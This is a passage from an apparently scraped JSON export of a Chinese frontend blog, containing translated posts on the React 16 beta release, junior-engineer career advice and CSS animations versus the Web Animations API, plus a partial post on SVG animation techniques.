新的数据集合类型，所以我们不支持一些老浏览器和设备（例如 \u0026lt;IE11）。如果你要支持它们的话，最好为项目引入一个全局的 Polyfill，core-js 和 babel-polyfill 都是不错的选择。\n下面是在 React 16 中使用 core-js 来支持老浏览器的示例：\nimport \u0026#39;core-js/es6/map\u0026#39;; import \u0026#39;core-js/es6/set\u0026#39;; import React from \u0026#39;react\u0026#39;; import ReactDOM from \u0026#39;react-dom\u0026#39;; ReactDOM.render( \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt;, document.getElementById(\u0026#39;root\u0026#39;) ); 另外 React 16 还依赖了 requestAnimationFrame 方法，同样如果浏览器不支持的话我们需要提供一个 shim，例如：\nglobal.requestAnimationFrame = function(callback) { setTimeout(callback); }; React 16 给我们带来了什么？ React 16 是 React core（之前代号为“Fiber”）重构的首个过渡版。本次重构实现了一下几个目的：\n移除一些老旧并影响系统性能的内部抽象方法。 增加许多新特性例如 render 方法支持返回数组, 修复某些组件错误，提高了 debug 时组件错误堆栈追踪的可读性。 支持异步渲染组件，提高渲染性能。 本次 React 16 的首个版本主要集中在解决与现有应用程序的兼容问题，所以目前暂时还不支持异步渲染。我们会在之后的 16.x 版本中提供选项开启异步渲染功能。我们无法预料 React 16.0 会让你的应用变得更快还是更慢，但是我们希望大家看到 React 的改进与回归。\n有趣的点 虽然这个版本是 React 的重构版，但是我们希望它还是能向后兼容的。所以如果你已经修复了 15.x 版本所有控制台提示的已废弃警告的话，16 beta版你使用起来也肯定没问题的。 目前一些依赖了已废弃或者已不支持的 API 接口的第三方组件需要修复这些问题才能兼容当前的 beta 版。现在已经可以给这些项目提 issue 解决这个兼容性问题了。（当然如果是我们的更新无意中破坏了某些接口，也欢迎告诉我们！） 我们对 15.x 和 16.x 两个版本的性能差异非常感兴趣。我们不期望有非常大的变化，但是还是希望有一定的提升的。如果有相关的讨论可以在 issue 中提出！ 我们完全重构了服务端渲染功能，现在我们提供流模式来支持这个功能（代码放置在 react-dmo/node-stream中）。服务端渲染不再使用标记验证，而是将其尽可能地附加到现有 DOM 中，并对不一致进行警告。服务端渲染功能可能还有一些问题，如果碰到了请 issue 告诉我们。 React Native 有另外的发布周期，会在之后的版本中支持 16 beta版本。（目前有 alpha 版本支持了但是还不是使用 Fiber 引擎。） 重大改变 错误处理 以前， React 的运行时错误会导致组件状态中断并显示一个令人费解的错误。React 16 新增一种称之为“错误边界”的特殊组件修复了这个问题。该组件能够捕捉组件树的运行错误，并支持降级显示 UI 提升交互。 如果我们不适用错误边界组件的话，组件有未捕捉的错误时整个组件树会被卸载。这样能够避免由于错误而导致界面不正常，不过反过来说的话为了更好的交互你可能需要在某些组件中添加错误边界组件来更友好的显示错误。 React 15 对不同方法名称的错误边界的非文档支持非常有限。之前叫做 unstable_handleError，现在我们将其重命名为 componentDidCatch。 点击此处阅读了解更多的 React 错误处理行为。\n队列和生命周期 ReactDOM.render() 和 React.unstable_renderSubtreeIntoContainer()： 这两个方法在生命周期方法中执行时将会返回 null。如果真有这种需求，可以使用 portals 或者 ref 来代替。 setState： 传递 null 给 setState 方法将不会触发更新。你可以自定义更新方法决定是否需要重新渲染。 在 render 方法中直接调用 setState 总会导致更新。这点和之前不太一样。不管怎么说我们都不应该在 render 方法中直接调用 setState 方法。 setState 的回调函数（第二个参数）现在会在 componentDidMount/componentDidUpdate 生命周期之后立即出发，之前是在所有组件渲染完成之后才触发。 当我们使用 \u0026lt;A /\u0026gt; 组件代理 \u0026lt;B /\u0026gt; 组件时，B.componentWillMount 总是为比 A.componentWillUnmount 先触发。老版本中 A.componentWillUnmount 在某些情况下会被先触发。 之前，带 ref 组件的改变总是会在 render 之前将组件和 ref 进行分离。现在我们修改了 ref 变化的时间，让它在 DOM 变更后再做变化。 使用非 React 重新渲染组件中的容器内容是不安全的。之前的版本中虽然可以使用，但是并不推荐。现在我们会在控制台中使用 console.error 发出警告。如果非得这么做的话你可以使用 ReactDOM.unmountComponentAtNode 方法清除组件。点击此处查看示例。 componentDidUpdate 生命周期不在返回 prevContext 参数。（具体详情查看 #8631） 模块 移除 react/lib/* 和 react-dom/lib/* 模块。即使在 CommonJS 环境，React 和 ReactDOM 都被预编译成单文件了。如果你之前依赖了这些文档中没说明的 React 内部组件，你可能需要更新下。如果你有不得已的使用理由，请在 issue 中告诉我们，我们会试着为你做一个特别的版本！ 移除 react-with-addon.js 编译版本。所有的兼容组件已经独立发布在 NPM 中，并且都提供了对应的浏览器直接引用的单文件版本。 我们修改了浏览器直接引用的单文件构建版本的名称和路径，用来区分开发版和生产版的区别。例如： react/dist/react.js → react/umd/react.development.js react/dist/react.min.js → react/umd/react.production.min.js react-dom/dist/react-dom.js → react-dom/umd/react-dom.development.js react-dom/dist/react-dom.min.js → react-dom/umd/react-dom.production.min.js 插件 React 16 将不支持 react-addons-perf 组件。在之后的发布周期中我们可能需要提供类似功能的组件，不过目前还没有进行迁移。目前你可以直接使用 Chrome 开发者工具的 Performance 模块来优化组件，使用 Performance Observer API 在项目中收集性能数据。具体可查看该 issue。 已知问题 当有内联样式时，服务端渲染会在生产环境中崩溃。(#10299, #10300 修复) 在 16.0.0-beta.2 中已修复 服务端渲染还不支持返回数组和字符串（已有 PR #10221，需要 review）。 服务端渲染在某些情况下还是会返回 data-reactid 属性。(#10306) Shallow renderer 还尉氏县 unstable_batchedUpdates 方法。(有待完善) 一些流行的第三方组件还不能很好的工作（例如 Enzyme）。 部分用户反馈 Google 爬虫访问使无法使用 16 渲染页面（来源）。 某些情况下不返回真实的报错而是返回 Error: null。（ reactjs/react-redux#756 (comment)） (欢迎在原文中为 React 报告更多的问题) 更新 2017-07-24 在 NPM 上抽次发布 beta 版。 英文原文：https://github.com/facebook/react/issues/10294\n","count":2406,"date":"2017年07月30日","featuredImage":null,"permalink":"https://imnerd.org/react-16-beta-issue-10294-facebook-react-github.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e原文：http://www.zcfy.cc/article/3733\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e令人欣慰，React 16 首个 beta 版已经发布可以公开测试了！下面我来告诉大家如何使用以及新版的一些值得注意的地方。\u003c/p\u003e\n\u003ch2 id=\"如何使用\"\u003e如何使用\u003c/h2\u003e\n\u003ch3 id=\"安装\"\u003e安装\u003c/h3\u003e\n\u003cp\u003e由于还是 beta 版，为了保障正常 NPM 安装还是使用 15.6 正式版，beta 版我们使用 \u003ccode\u003enext\u003c/code\u003e 标签发布在 NPM 上，你需要使用如下命令安装使用 beta 版：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Yarn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eyarn add react@next react-dom@next\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# NPM\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enpm install --save react@next react-dom@next\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","time":5,"title":"【译】React 16 beta 版发布！"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 原文：http://www.zcfy.cc/article/3330\n我最近和我的一个好朋友以及我的一个前同事一块聊了聊如何提升他的软件开发技能的方案。这让我想起了我在我的工程师生涯中指导帮助过的那些人。我认为将自己所学的内容写成文章来帮助那些新晋开发工程师是非常棒的。本文我会介绍一些非常有用的方法来帮助我们提高自己的水平，例如找一个导师，参与社区或者小项目的开发，阅读和提高软技能。\n寻找导师 作为程序员成长最好的方法之一就是接触那些“老司机”。毫无疑问结对编程或者是让高级工程师对你的代码进行 code review 最有效的提升方法。这样做可以让你了解自己解决问题的思路，同时观察他们的工作流程对比高级工程师的方法，还能获得他们给你提供的各种意见与建议。将这些内容快速的吸收学习化为己用对我们快速高质量完成工作至关重要。\n大部分人看到上面的内容后可能会想“嗯，的确我需要一个导师来带带我。可是我不知道去哪里找导师啊！”。下面我们就根据大家自身的情况来谈谈如何寻找导师。\n首先我要说的是导师并不完全等同于拜师学艺，不需要正式的拜师礼也没有期末考来检验导师的指导成果。它只是一个非正式的关系来保证有人能和你进行定期的交流。简单来说就是你可以找他们问一些你目前碰到的代码问题，他们给你答疑解惑或者提供一些解决问题的意见。你将这些内容学习吸收后经验值获得增长，然后往复如此。\n其次你可以去很多地方寻找自己的导师。例如：\n最简单的方法是同事。选择同一个公司或者项目组的同事作为导师实在是再合适不过了。他们没有理由拒绝帮助你提高自己，毕竟你厉害了他们就轻松了。所以有问题找他们，准没错！\n当然你也可以找认识的朋友。如果你拥有某些比你工作经验稍长，知道各种框架的使用和原理，或者在大公司工作的朋友的话，可以邀请他们看看你写的个人项目甚至说可以邀请他们一块来开发项目，这样可以从中学习到很多他们的工作经验。\n除了上面这些你也可以在网络上寻求导师帮助。网络上有提供配对导师的服务。由于要花钱购买线上的服务，所以可能不会适合所有人，但是如果你想要一对一明确的指导的话，这不失为一个不错的方法。bloc.io和Codementor.io都提供了类似的服务，有兴趣的同学可以看看。\n混技术社区 参与关于技术的讨论和以及向社区提出问题是作为工程师成长的关键。这是你可以学习到最佳实践，找到能够帮助你解决那个令人困惑的问题的方法，并扩展你的人脉。下面推荐一些大家值得投入的社区类型：\n加入 Slack 社区。现在大部分项目都有 Slack 社区了，你可以在 这里找到所有的 Slack 社区。找到对应的社区加入进去并在其中提问题等待他人的回答。\nTwitter 也是不错的地方。也许你对发推没啥兴趣，但是你可以关注一些大牛了解你的技术领域的变化。平常经常使用的某些开源库有问题了？没关系，上 Twitter 去关注作者然后向他们提问吧！从你们的对话中你可以学习到很多来帮助你的成长\n当然也可以去参加会议。全世界都有大量软件开发会议。这是不同水平的人们相互认识和学习的地方。你可以选择参加这些会议尽可能的和人交流。我相信你一定能学到新东西并认识很多朋友。\n阅读 通过阅读来增加你的专业知识是另外一种行之有效的升级方法。上班路上不知道干点啥？失眠了睡不着咋办？不要再玩王者荣耀了！赶快挑本自己想读的书看起来吧\n我的建议是先广泛阅读。我建议阅读一些软件开发方向的热门书像是 Uncle Bob 写的《Clean Code》，它们能帮助你学习一些快速成长的方法。即使现在领导让你在6个月内学习一门新语言，这也不会变的困难如果您已阅读足够的内容，然后可以选择阅读有关你的开发语言或框架的书籍。或者经常看看那些与你工作领域相关的大牛的技术博客。\n开发业余项目 关于业余项目的开发我必须强调下，这是每个程序员应该要有的东西。至少每年都有有一个，如果没完成的话不算数。你可以在自己的项目中展现所有从阅读，社区，导师反馈中学习到的各种知识。你不可能将前东家工作项目中的代码放到 Github 上开源，所以你需要提取业务中的一些库和方法并发布开源项目让大家了解你做了什么。\n软技能 最后也是最重要的建议是提升自己的软技能。与你团队内外的其他人员合作对于成为一名优秀的工程师而言至关重要。你可以在世界上写最干净，最美丽的代码，但如果没有人愿意和你一起工作，这并不重要。你不会在你的职业生涯中有一个愉快的时光，你周围的人也不会。\n关于如何提升软技能，我的建议是去寻求反馈意见。如果你有一个领导，可以问问他如何能更好的进行团队合作，他们会给予你相应的建议。如果你是自由职业的话，可以询问你的客户对于我们之间的交流方式有没有什么意见，以及流程上是否有什么问题。这可能会多花点时间，但是长期受益来看还是值得的。\n后记 软件开发很难。您需要不断学习新东西，并且需要快速应对行业变化。但是，积极的态度并遵循上述建议将有助于您的成长。这个成长需要一定的时间，但我相信你可以到达终点的！祝你好运！\n如果有问题或者文章有疏漏，欢迎在下方留言或者直接给 matt@masterpoint.io 发邮件即可。\n英文原文：https://medium.com/masterpoint/leveling-up-as-a-junior-engineer-3f6880f8af1d\n","count":2096,"date":"2017年06月28日","featuredImage":null,"permalink":"https://imnerd.org/leveling-up-as-a-junior-engineer-masterpoint-medium.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e原文：http://www.zcfy.cc/article/3330\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p0.ssl.qhimg.com/t019e996cef44949136.jpg\" alt=\"\"\u003e\u003c/p\u003e\n\u003cp\u003e我最近和我的一个好朋友以及我的一个前同事一块聊了聊如何提升他的软件开发技能的方案。这让我想起了我在我的工程师生涯中指导帮助过的那些人。我认为将自己所学的内容写成文章来帮助那些新晋开发工程师是非常棒的。本文我会介绍一些非常有用的方法来帮助我们提高自己的水平，例如找一个导师，参与社区或者小项目的开发，阅读和提高软技能。\u003c/p\u003e","time":5,"title":"【译】程序猿升级攻略"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 原文：http://www.zcfy.cc/article/3306\nWeb Animation API 是JavaScript 原生提供的的动画操作 API，本文我们会缩写为 WAAPI。具体内容可以查看MDN，Dan Wilson 也写了一系列教程推荐大家看看。\n本文中我们会比较 WAAPI 和 CSS3 Animation 的异同。\n浏览器兼容性 虽然目前只有极少部分的浏览器支持，但是 WAAPI 有完善的 Polyfill 方案。只要使用它，我们就可以在生产环境中毫无顾忌的使用 WAAPI 了！\n一般来说，你可以使用Can I Use这个网站来查看浏览器兼容情况。不过对于 WAAPI 特性的支持情况数据它提供的并不是很全。相比之下我更推荐下面这个网站来查看 WAAPI 的兼容情况：\n可以看看 Dan Wilson(@danvilson) 写的WAAPI 浏览器兼容测试页面。\n如果想要不使用 Polyfill 来测试所有的特性，可以使用 Firefox Nightly 版本。\nWAAPI 基础 WAAPI 的基础方法和 jQuery 的 .animate() 方法类似。\nvar element = document.querySelector('.animate-me'); element.animate(keyframes, 1000); animate 方法接受两个参数：关键帧和持续时间。与jQuery不同的是，它不仅具有浏览器原生支持等优点，而且还具有更高的性能。\n第一个参数关键帧必须是一个数组对象。每一个对象是一个动画关键帧。下面是一个简单的示例：\nvar keyframes = [ { opacity: 0 }, { opacity: 1 } ]; 第二个参数持续时间，表示我们想要让动画持续多久。在之前的示例中我们是定义了1秒的持续时间。下面让我们看看更酷炫的示例。\n使用 WAAPI 重写一个 animista 里的 CSS 动画 下面这个 CSS 动画是我从animista上借鉴过来的“从上模糊闪入”动画。看起来很有趣。\n实际性能要远远好于 GIF。\n这是 CSS 对应的关键帧：\n0% { transform: translateY(-1000px) scaleY(2.5) scaleX(.2); transform-origin: 50% 0; filter: blur(40px); opacity: 0; } 100% { transform: translateY(0) scaleY(1) scaleX(1); transform-origin: 50% 50%; filter: blur(0); opacity: 1; } 将其用 WAAPI 改写的话应该是这样的：\nvar keyframes = [ { transform: 'translateY(-1000px) scaleY(2.5) scaleX(.2)', transformOrigin: '50% 0', filter: 'blur(40px)', opacity: 0 }, { transform: 'translateY(0) scaleY(1) scaleX(1)', transformOrigin: '50% 50%', filter: 'blur(0)', opacity: 1 } ]; 可以看到我们只要写一些简单的关键帧就能让元素运动起来了。\n`element.animate(keyframes, 700);` 为了让示例简单，我手动指定了持续时间。然而我们是可以向第二个参数传递更复杂的选项的起码我们是需要制定一个动画函数的。以下是所有支持的选项以及其对应的示例值：\nvar options = { iterations: Infinity, iterationStart: 0, delay: 0, endDelay: 0, direction: 'alternate', duration: 700, fill: 'forwards', easing: 'ease-out', } element.animate(keyframes, options); 按照示例选项使用的话，我们的动画会没有延迟立即开始，并且会进行往复无限运动\n可以看看 CSS Grid(@cssgrid) 写的 WAAPI 模糊圆渐入动画示例。\n令人烦恼的是，对于熟悉CSS动画的人来说，一些术语存在着差异。即使 WAAPI 有很多好处。\nWAAPI 是 easing 而 CSS 中是 animation-timing-function\nCSS 中是 animation-iteration-count 而 WAAPI 中是 iterations。如果我们想要无限循环动画的话 CSS 是 infinite 而 WAAPI 中则是 Infinity。令人困惑的是 Infinity 不需要使用引号包裹。因为 Infinity 是 JavaScript 的关键字，而其他的则是普通的字符串\n我们使用毫秒而不是秒，对许多 JavaScript 的开发人员会更友好。（在 CSS 中你也可以使用毫秒，但是很少有人这么做。）\n接下来我们来详细的了解下 iterationStart 这个选项。\n当我第一次用 iterationStart 的时候，它把我难住了。为什么会有从某个指定的循环次数开始动画的需求而不是直接减少循环次数呢？当你设置这个选项的值为小数的时候，它就非常有用了。比方说你可以设置成 .5，这样动画就可以在一半的时候开始了。假设整个动画过程需要2.5秒，如果你设置了动画循环次数为1次且你设置循环起始数为 .5，动画会从一半开始直到结束，然后又从开始处播放直至到达中间刚开始的地方！\n对于循环次数不足1次的动画这个值也是有意义的，例如：\nvar option = { iterations: .5, iterationStart: .5 } 如刚才所说，动画会从中间开始直至结束。\nendDelay：如果你想要拼接多个动画但是有想要前后动画之间存在一个间隔的话可以使用该选项。下面这个视频会帮助大家理解这个参数。\n缓动(Easing) 不管在何种动画方法中缓动都是非常重要的方法。WAAPI 给我们提供了两种不同的方法设置缓动函数 —— 在关键帧数组内设置或者在第二个选项参数对象中设置。\n在 CSS 中，如果你设置了 animation-timing-function: ease-in-out 的话这就意味着你的动画开始时是缓入的，并且结束的时候是缓出的。事实上，缓动函数是基于关键帧来的，而不是针对整个动画。WAAPI 借由此对动画进行更细粒度的控制。\nvar keyframes = [ { opacity: 0, easing: 'ease-in' }, { opacity: 0.5, easing: 'ease-out' }, { opacity: 1 } ] 不管是使用 CSS 还是 WAAPI，你都要注意不要给动画最后一帧设置关键帧，因为这是无效的。很多人都会犯这个错误。\n但是有时候给整个动画添加缓动效果会更为直观。在 CSS 中这个需求是无解的，但是 WAAPI 为我们提供了接口实现这个功能。\nvar options = { duration: 1000, easing: 'ease-in-out', } 你可以查看在现实里了解两种缓动设置的区别：\n“同样的动画不同的缓动函数”在线DEMO, 作者 CSS GRID (@cssgrid)。\n缓动 vs 线性 值得注意的是CSS动画和WAAPI之间的另一个区别：** CSS的缓动函数默认值是ease，而WAAPI的默认值是linear。** ease 其实是 ease-in-out 的另外一种写法，这两个本质上是一样的，如果你想偷懒的话可以直接写 ease。不过线性动画比较单调，有规律的动画让人感觉非常机械、不自然。它被选为默认值，可能因为它是最中立的选项。然而，在使用 WAAPI 时比起使用 CSS 更需要注意缓动函数，以免你的动画看起来机械而乏味。\n性能 WAAPI的动画性能和 CSS 动画实现一致，尽管这并不能说明其动画一定是平滑不卡顿的。\n我之前希望 WAAPI 的性能优化可以避免像我在 CSS 中使用诸如 will-change 或者 translateZ 等 hack 方法。但是，至少在目前的浏览器实现中，这些属性在处理某些极端问题时仍然是有帮助的。\n然而我们至少可以给动画设置延迟，而不需要担心使用 will-change。在 Animation Slack工作会议上，Web Animation 规范的作者提了一些有趣的建议我再次引用一下，希望他不会介意：\n如果你的确想要延迟，你不需要使用 will-change。浏览器会对所有的初始延迟进行分层，并且当动画启动时，它将准备就绪。\nWAAPI vs CSS 动画 WAAPI 为我们在 JavaScript 提供了一套在样式中已经实现的语法。然而，他们不应该被视为对手。如果我们决定坚持使用 CSS 进行动画和过渡，那么我们可以与 WAAPI 进行动画交互。\n动画对象 .animate() 方法除了让我们的元素运动之外，它还有返回值。\n`var myAnimation = element.animate(keyframes, options);` 在控制台中输出的动画对象\n我们在控制台中可以看到它返回了一个动画对象。这为我们提供了各种各样的功能，其中一些非常直观，像myAnimation.pause()。通过动态修改 animation-play-state 的值，我们可以通过 CSS 动画实现类似的效果，但是 WAAPI 语法比 element.style.animationPlayState =\u0026quot;paused\u0026quot;稍微简洁。我们也可以通过 myAnimation.reverse() 反转我们的动画，这相比通过CSS属性 animation-direction 来实现又是一个小小的改进。\n然而到目前为止，使用 JavaScript 操作@keyframes都还不是简单的事情。正如 Chris Coyier 在本文中所述，即使是像重播动画这种简单的操作，我们也需要知道一些额外的处理方法。使用WAAPI，如果动画已经完成，我们可以简单地使用myAnimation.play() 从开始处重播动画，或者如果我们之前暂停了它，则从该处播放动画。\n我们甚至可以轻松地改变动画的速度。\nmyAnimation.playbackRate = 2; // speed it up myAnimation.playbackRate = .4; // use a number less than one to slow it down getAnimations() 该方法会返回一个动画对象的数组包含该页面所有我们通过 WAAPI 方法定义的动画，以及 CSS animation 或者 transtion 定义的动画。\n`element.getAnimations() // returns any animations or transitions applied to our element using CSS or WAAPI` 如果你更喜欢使用 CSS 动画，getAnimations() 也允许我们配合 @keyframes 使用。您可以继续使用CSS进行大部分动画工作，并在需要的时候使用其获得 Javascript API。让我们看看如何简单使用它。\n即使一个 DOM 元素可能只有一个动画方法，getAnimations() 总是会返回一个数组。我们就获取到这唯一的动画对象来做些有趣的事情吧。\nvar h2 = document.querySelector(\u0026quot;h2\u0026quot;); var myCSSAnimation = h2.getAnimations()[0]; 现在我们可以在 CSS 动画的基础上使用 WAAPI 了！:)\nmyCSSAnimation.playbackRate = 4; myCSSAnimation.reverse(); Promises 和事件 我们知道在 JavaScript 中我们已经可以使用一大堆 CSS 触发的事件了：animationstart, animationend, animationiteration 以及 transitionend。我经常需要监听动画或者过渡的结束然后从 DOM 树中移除该动画元素。\nWAAPI 如果要实现 animationend 或者 transitioned 同样的效果的话需要再次借用 animation 返回对象：\nmyAnimation.onfinish = function() { element.remove(); } WAAPI 同时支持事件和 Promise 方法。动画对象中 .finished 属性会返回一个 Promise 对象并在动画结束后执行。下面是个使用 Promise 方法的简单示例：\nmyAnimation.finished.then(() =\u0026gt; element.remove()) 让我们看看 MDN 中更全面的例子。Promise.all 接受一个 Promise 对象数组，并仅在所有的 Promise 都成功返回后才执行我们的回调函数。正如我们所见，element.getAnimations() 返回一个动画对象的数组。我们遍历该动画对象数组并对每个对象执行 .finished 返回我们需要的动画结束 Promise 数组。\n在这个示例中，只有当页面中所有的动画元素结束的时候我们的方法才会被执行。\nPromise.all(document.getAnimations().map(animation =\u0026gt; animation.finished)).then(function() { // do something cool }) 未来 本文提及的一些特性仅仅是一部分，目前规范的实现刚开始并且会越来越好。\n英文原文：https://css-tricks.com/css-animations-vs-web-animations-api/\n","count":3374,"date":"2017年06月26日","featuredImage":null,"permalink":"https://imnerd.org/css-animations-vs-web-animations-api-css-tricks.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e原文：http://www.zcfy.cc/article/3306\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eWeb Animation API 是JavaScript 原生提供的的动画操作 API，本文我们会缩写为 WAAPI。具体内容可以查看\u003ca href=\"https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API\"\u003eMDN\u003c/a\u003e，Dan Wilson 也写了\u003ca href=\"http://danielcwilson.com/blog/2015/07/animations-part-1/\"\u003e一系列教程\u003c/a\u003e推荐大家看看。\u003c/p\u003e\n\u003cp\u003e本文中我们会比较 WAAPI 和 CSS3 Animation 的异同。\u003c/p\u003e","time":7,"title":"【译】CSS Animations vs Web Animations API"},{"comments":{"data":[9],"errmsg":"","errno":0},"contents":"SVG 是基于 XML 的矢量图形描述语言，可以近似理解成 HTML，所以能和 JS 以及 CSS 进行交互。 特别是 CSS，配合 CSS Animation 就能实现一些令人心旷神怡的动画，这实在是让人兴奋。下面我们就来看看 SVG 配合 CSS 实现动画的一些方法。\n本文内容主要是我之前分享的文字版，若想看重点的话可以看之前的 Slide：\n动画方式 动画的本质可以看做是元素从 A 状态过渡变化到 B 状态的过程。实现 SVG 动画主要有以下几种方式：\nSMIL SMIL 全称 Synchronized Multimedia Integration Language，该语言被 SVG 原生支持，主要使用标签来描述动画。据传，由于性能的问题以及 CSS Animation 越来越强大，Chrome 会在未来的版本中废弃对 SMIL 的支持。不过 MDN 上的声明却说 Chrome 推迟了废弃时间，也不知道是什么情况。总而言之，被 Chrome 这么一搞还是不推荐大家入门 SMIL 了。\nAlthough Chrome 45 deprecated SMIL in favor of CSS animations and Web animations, the Chrome developers have since suspended that deprecation.\nvia: SVG animation with SMIL\n如果已经使用了 SMIL 也不必特别担心，目前网上有 SMIL 的 JS Polyfill 方案，有需要的可以看看 https://github.com/ericwilligers/svg-animation 这个项目。\nJavaScript 使用 JS 来操作 SVG 动画自不必多说，网上已经有很多现成的类库。例如老牌的 Snap.svg 以及 anime.js，都能让我们快速制作 SVG 动画。当然，除了这些类库，HTML 本身也有原生的 Web Animation 实现。使用 Web Animation 也能让我们方便快捷地制作动画。\nCSS3 这里主要是使用 CSS3 动画三剑客(animation, transform, transition)来实现动画。优点不言自明，它比 JS 更加简单方便，关键帧的配合可以让其实现很多复杂的动画。\n本文主要就从 CSS3 的角度来描述 SVG 动画的方法。\n动画方法 动画可以拆成两部分，起始状态和终止状态是一部分，两态中间的过渡是另一部分。对过渡感兴趣的同学可以去看看月影老师的动画原理与实现的分享。而两态的变换，简单的来说可以分为变换和变形两种，即线性变换和非线性变换。\n变换动画 平移变换 平移变换主要是利用 translate 等方法让元素移动位置达到的动画，只要善于使用，简单的移动也能做出不错的动效，例如下面的例子：\nJS Bin on jsbin.com\n这里有一个小技巧，就是在元素移动的起点和终点分别设置标记元素。使用 getClientRects() 方法获取标记元素的绝对位置，通过计算标记元素的位置差，换算成平移的距离。这样利用纯 CSS 就实现了位置移动的有趣动画。\n旋转变换 旋转变换是使用 rotate 方法让元素进行旋转。使用时请注意：旋转圆心默认在 SVG 的左上角。可以通过设置 transform-origin 来修改圆心。本质上是将设置的圆心移动到坐标原点后再旋转再平移回来的一个效果，所以其实以下两种写法是等同的：\n/** transform-origin **/ .rotate { transform: rotate(45deg); transform-origin: 100px 100px; } /** translate **/ .rotate { transform: translate(-100px, -100px) rotate(45deg) translate(100px, 100px); } 由于旋转圆心如此重要，所以正如下面的这个例子，我们首要确认的是旋转圆心，剩下的就是简单的旋转角度的控制问题了。\nJS Bin on jsbin.com\n缩放变换 缩放变换则是使用 scale 方法让元素进行变大变小, 它的本质实际上是元素点 (x, y) 被乘以缩放系数了，即 (x * sacle, y * scale)。所以当设置了 transform: scale(2) 时，它相当于元素所有的坐标点变成 (2x, 2y) 了。\n讲的这么详细主要是想让大家注意一个问题，当放大系数为负数的时候，例如 -1 那元素坐标点就会变成 (-x, -y)，这就相当于元素针对横纵坐标分别做了一次镜像。对于一些需要实现镜像效果的元素这招就再简单不过了。\nJS Bin on jsbin.com\n斜歪变换 斜歪变换是使用 skew 方法使元素进行倾斜变形的方法。使用起来也是比较简单的，不过由于使用次数不是很多，本文这里就略过不表了。若有不清楚的同学可以上 MDN 或者 Google 搜索一下。\nJS Bin on jsbin.com\n矩阵变换 矩阵变换是所有变换方法的底层实现，上述变换方法都是矩阵变换某个方向的特例，完全可以使用矩阵变换实现。矩阵变换的使用方法就不多介绍了，不清楚的可以查下文档。一个 2D 的矩阵变换如下所示：\n关于为何使用矩阵来进行矩阵变换计算，感兴趣的小伙伴可以参考《从矩阵与空间操作的关系理解CSS3的transform》，这篇文章浅显易懂的解释了使用矩阵表示的精妙之处。\nJS Bin on jsbin.com\n变形动画 变形动画即非线性变换动画，本文主要讲述描边，路径轨迹和路径变形三种变形动画。\n描边动画 描边动画算是经典的 SVG 动画了，给人一种绘画的视觉效果，所以描边动画的名字因此得来。它主要是利用 Path 的描边长度 stroke-dasharray 配合描边起始位置偏移量 stroke-dashoffset 来实现的动画。首先设置 stroke-dasharray 等于路径长度，然后将 stroke-dashoffset 从路径长度减少到 0 ，就完成了一次描边。\n可以看到，描边动画其实主要在于设置描边的长度，除了在 AI/Sketch 等软件中获取路径长度外，我们还可以使用 JS 的 getTotalLength() 方法获取。除了使用 CSS3 Animation 来实现动画外，我们也可以使用 JS 来绘制动画，网上有很多现成的类库。其中比较推荐大家使用 drawsvg 这款描边库，能简单快速地实现很多复杂的描边特效。\nJS Bin on jsbin.com\n路径轨迹动画 路径轨迹动画简单来说就是让元素沿着某条路径进行运动的动画。如果用其它方法实现这个效果的话可能会略复杂，但是用 SVG 就非常得心应手了，有多种方法能用来快速实现。使用原生的 SMIL \u0026lt;animateMotion\u0026gt; 标签，或者 CSS3 的 offset-path 属性，亦或是使用 JS 动态计算都是可以的。其中 SMIL 和 CSS3 的实现方法非常类似，这里主要说一下 CSS3 方法。\n简单来说，设置 offset-path 属性为某一条 Path 路径，然后通过改变 offset-distance 的距离值，就可以实现元素沿着 offset-path 运动的动画。这种搭配方法让人不由得想到了描边动画。至于 offset-path 属性的前世今生，可以参考张鑫旭老师的《使用CSS offset-path让元素沿着不规则路径运动》。\nJS Bin on jsbin.com\n路径变形动画 严格意义上，路径变形动画才真正算的上“变形”动画，它表示的是路径之间不规则变化的动画。从 A 路径变形成 B 路径，我们现在可以直接使用 CSS3 Animation 来实现，浏览器会自动帮我们做补间动画。当然我们也可以使用一些 JS 库例如 Snap.SVG 来制作。\n不管是使用 CSS3 还是使用 Snap.SVG，都需要注意一个问题，那就是两条变形路径内的描点数需要保证一致，而且需要都是简单的描点，不能存在弧线等高级描点。这么实现的原因很好理解，能够极大减少补间动画的运算量，本质上可以归类为每个描点的平移动画。\n但是这种限制对于开发者来说还是颇为麻烦的，所以很多类库就想要解决这个问题。其中比较著名的有 GreenSock，它们编写的 GSAP 插件据说能够对路径进行任意变形，从官网首页的动画也可窥见一二。另外一款插件是 SVG Morpheus，也能实现同样的效果，不过可能因为算法的问题，补间动画似乎并没有 GSAP 那么流畅。另外最近腾讯 AlloyTeam 发布了一款插件 Pasition ，用来实现路径过渡效果，使用起来也很方便，感兴趣的同学可以试一试！\nJS Bin on jsbin.com\n后记 本文只是涉猎了一些常用的变换方法以及一些基本的变形动画，SVG 